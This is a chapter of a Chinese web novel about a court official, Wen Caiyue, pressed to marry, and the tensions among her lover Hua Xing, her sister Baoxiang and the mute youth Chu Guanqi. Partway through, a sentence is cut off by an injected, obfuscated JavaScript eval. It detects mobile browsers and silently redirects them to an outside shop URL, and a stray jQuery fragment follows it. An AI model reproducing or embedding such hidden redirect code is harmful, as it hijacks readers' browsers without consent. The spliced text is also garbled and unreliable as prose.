这还不是多管闲事?
闻裁月险些被这些老东西的说教味熏了个跟头,额角青筋直跳,态度有些无奈,“王上容禀。并非是臣不想合婚,实乃姻缘一事讲求天定,若遇有缘有心之人,自然水到渠成,也不是起心动念间就能定得下来的。”
皇帝用手指敲了敲桌子,面无表情。
那带头的老臣与南漳郡主夫家沾亲带故,仗着这等关系,说话也无遮无拦,当即就道:“姻缘讲求天定,也在人为。大人将那些请求合婚之人一一回绝,究竟是自身对新婚律存疑,还是另有隐情?”
言罢,老臣又迅速笑了起来,假作慈善。
“大人此刻年轻,尚不知这合婚后的妙处。待到日后您成了婚,如老夫与爱妻一般琴瑟和鸣,膝下子孙绵绵,共享天伦,方知何才是真正的人生美事。”
他如此咄咄逼人,闻裁月深觉荒唐,眼中犹如水激寒冰,冷声说道,“正是因为臣心中对婚律十分敬重,这才不能草率行事,轻易允了那些连面都没有见过的人。”
左右她如今也是个古怪激进的名声。
只要不影响到自己的目的,旁的都是小事。
闻裁月根本不在意朝中其他臣子如何看她,当即回应:“大人与夫人感情甚笃那是好事,既然老当益壮又疼爱孩子,就自己多生,少操心旁人。”
“你——怎可在王上面前说这种话!”
闻裁月道,“既是真正的人生美事,又为何不许说了?”
眼见两人要在书房中争执起来,年少的皇帝咳嗽了一声,淡淡盯了闻裁月一眼,开口道:“朕也明白,爱卿迟迟不肯合婚,要么是心有所属,要么是尚未遇上属意之人。”
闻裁月心中一跳,唯恐皇帝提起花家旧事,脊背生寒,不自觉地紧张了几分。
幸而皇帝并未再提,而是说道:“这样,朕心中有个不错的人选,无论才貌官职,均能与你相配。这几日,朕便叫人过去闻府上与你相看,只当牵线认识,不作赐婚,全凭你二人心意做主,爱卿看此事如何?”
闻裁月松了口气,低眉敛目,迅速屈膝一跪,叩首谢恩。
只是这后头的事情对花荇说了,怕是要徒增他的烦恼,闻裁月便稍作隐瞒,只将那些大臣逼迫她合婚一事讲了。
花荇压抑着道,“若花家不曾没落,哪里轮得到这些人对你的婚事评头论足?”
闻裁月抬头看他,脸色淡静:“若想议论或为难,总能有理由。和花家的事没关系,你不要总是向这方面去想,好不好?”
花荇面色愈白,半晌才缓缓点了下头。
院外就是抱香与婢女笑闹的声音,天下之大,谁会在意有这么一桩婚事淹没在朝堂洪流之下,两颗心被无端牵连,只得咫尺天涯。
唯有他们记得,他们在意。
可惜,全天下也就只有这么一间房屋属于他们,一旦被外人闯入,或是一同踏出门外,仍要面临着主仆之差,云泥之别。
这种折磨也不知何年何月才是个头。
而他又能做些甚么呢?
花荇垂头把她揽进怀里。
闻裁月意识到他有些不对劲,正要接住他的情绪再作安慰,门口又被人轻轻叩响,抱香嚷道:“你端的什么,给我瞧瞧!”
褚观棋长长“嗯”了一声,似有抗拒。
花荇迅速放手,与闻裁月各分两头,各自假意忙着手上的事情,又听抱香推了褚观棋一把,怒道:“什么糟烂的东西还值当捧着,你送我吃我都不吃。”
褚观棋抢着要进门,抱香便猛踹他的那条未伤的好腿,恨不能把他的靴子直接踩下来。
这两个人竟不知何时玩到一起去了。
养了几日,褚观棋足伤已痊愈大半,接连闪躲两下,身子一旋就闪进屋内,手中还捧了个硕大的面碗,袅袅白气中露出一双灵动的眼睛。
是那日在分舵中他做过的鸡汤面。
他跟抱香混在一处踢球打赌,赢来了一次进小厨房的机会。
闻裁月见观棋伤势大好,人又总是无忧无虑的样子,知道他听自己的话,心中宽慰许多,如同对待一双弟妹似的招手,“抱香,观棋,都过来。”
褚观棋捧着面碗小心翼翼走近了,用袖子挡开花荇递上的那碗冰镇酸梅汤,殷切比道:“女公子午膳还没用,不宜吃这些生冷的,对身子不好,还是吃我做的面罢。”
闻裁月问道:“你自己呢,吃了没有?脚伤还疼么?”
褚观棋不好意思地笑了下,用动作回应:“只,好了一点点。”
“能吃能睡能踢球,饭量跟头牛一样。”
抱香上前一步挤开褚观棋,硬是贴在闻裁月身侧,抱着她胳膊撒娇:“阿姐,你打哪儿弄回来的小饭桶,赶紧打发了出去,不然咱们家可都要被吃穷了。”
“养伤的人是得多吃些,还吃不穷咱们家,用不上担心。”
抱香也知晓闻裁月近日被求亲的人所扰,便使出浑身解数地装傻扮乖,抱着她的腰央求:“那好吧阿姐,你陪我出去放风筝。”
听见抱香要拉闻裁月出去玩耍,褚观棋心中一动,目光在她此时坐着的软榻上停留了片刻。
只是这午后的太阳斗大一个,闻裁月望而生畏,“我可不去。”
花荇也跟着走过来,见褚观棋与抱香两个簇拥在闻裁月身前,亲亲热热,活像两只小动物。
他笑道:“抱香,外头天气太热,不是放风筝的好时节,仔细中暑。”
褚观棋头都不回,倒是抱香横了他一眼,没好声气,又恢复成了平日看他不顺眼的时候:“不要你管。”
花荇“呵”了一声,不急也不怒,掌心一摊,伸手就要抓。
抱香顿时捂着脑袋大叫一声,却见花荇不是冲她,而是将褚观棋的领子提在手中,倒拖着人就向外走。
褚观棋挣扎了几下,显然不愿意离开,翻了个白眼去瞪花荇。
花荇仍是笑眯眯地,“瞪甚么,我带你去认认闻府上的路,免得总是有意无意闯进女公子的闺房里来。”
鹬蚌相争,抱香得意。
她看得哈哈直笑,又蹭进闻裁月怀中,巴巴地跟她告状:“阿姐,你可不知道那小哑巴有多坏,方才我与苏叶她们玩儿球,他居然故意将我的球给抛到树上去了。”
闻裁月的目光落在褚观棋端来的那碗面上,用筷子拨弄了两下,随口问道:“是么,他也想同你们一块儿玩罢,下次带上他也就是了。”
“我踢不过他,不跟他玩。”
抱香双手托腮,气冲冲地抱怨:“到底是哪个地里长出来的怪人,他求你留下他了吗?你到底什么时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724010|207738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
候才要赶他出去呢?”
闻裁月眸光一凝,低声说:“为什么赶走他?他很听话。”
自小到大,抱香早将她的行事风格尽收眼底,全然不觉有异,反而视作理所当然。
她又分析道:“哎呀,也对啊。他是个哑巴呀,一辈子都有缺,那就是一辈子都需要人帮扶,和春纤她们不一样呢!阿姐,你该不会要像对待苏叶一般,把他留下来一辈子吧?”
闻裁月如同被碰触逆鳞,顷刻就收敛了脸上所有的笑意。
她慢慢放下手中筷子,问道:“抱香,你什么意思?”
抱香十分苦恼,抓了抓头发叹道:“阿姐,我还能有什么意思?他看着心眼子太多了,又是个不明来历的下士族,我不想他留下来啊!”
她眼睛一转,忽地狐疑地盯住闻裁月:“阿姐,他跪着求你了?哭着要你帮他了,是也不是?”
闻裁月默了片刻,又抓起筷子,捞了几根面条慢慢吃着。
“没有,是我自己要帮他的。”
她仿若无事,神色依旧淡淡的,“他是个无依无靠的哑巴,出去不好找活计,实在可怜。纵使脾性跳脱了些,也只是成长环境缘故缺乏管教,你自己不也没有比他好到哪里去?不要动辄就将什么士族之差挂在嘴边。出身不是自己能选的,这不是咱们能瞧不起人的理由。”
“哦,我知道啦,下次不这样说了。”
抱香伏在桌上,下巴不住在手臂上碾来碾去,忽而又道:“阿姐,你真是好脾气,好教养。都是一个爹娘生的,我有时都觉着我和大哥有问题,一个心智有缺傻呆呆的,一个嘴巴太急是个破烂脾气。除了你,我长这么大,就没见你对谁袖手旁观过。”
闻裁月笑了笑,“……没有的事,你别这样想。”
人人心底都有一面残损的镜子。
因为有缺,往往令人看不清真实的自己。
连自己都说不清自己心性究竟为何,她又何尝就是旁人眼中看待的那般模样呢?
***
花荇一直将褚观棋拖进院子,正要将他直接丢出门去,这少年足尖却猛然在地上一钉,反手制住花荇,腰肢轻飘飘一转,力道刁钻且强劲。
花荇一时不察,人已然挣脱了他的钳制,闪到一边去站着。
饶是他这些日子以腿伤遮掩,但习武之人,总能自举止中瞧出端倪。
花荇并不意外,肯定道:“你会武功。”
褚观棋笑着比道,“只是不喜欢被人好似牲口似的推来搡去。”
“再说了。”他眨了眨眼睛,又比划,“闻府上下会武的侍从并不少,哥哥何必这么提防于我呢?是不是因为我比你好看,你怕女公子喜欢我?”
花荇犹如见到天大的笑话,神态嘲弄又可怜:“你算什么,敢同我比。”
褚观棋装起傻来,自花丛中扯了几束细长的碧草,十指如飞,一会儿的功夫就编出了个蚂蚱的雏形。
触须发颤,模样精巧。
花荇看了他片刻,也觉与这种人置气颇没意思,“这些天你也该明白,闻裁月心性如此,不爱看人受苦受难,对待那些受了伤的猫狗亦是一样。她现在关心你,却不代表以后不会翻脸。”
他竟这样说闻裁月。
褚观棋瞪大了眼,难掩眸中的诧异之色。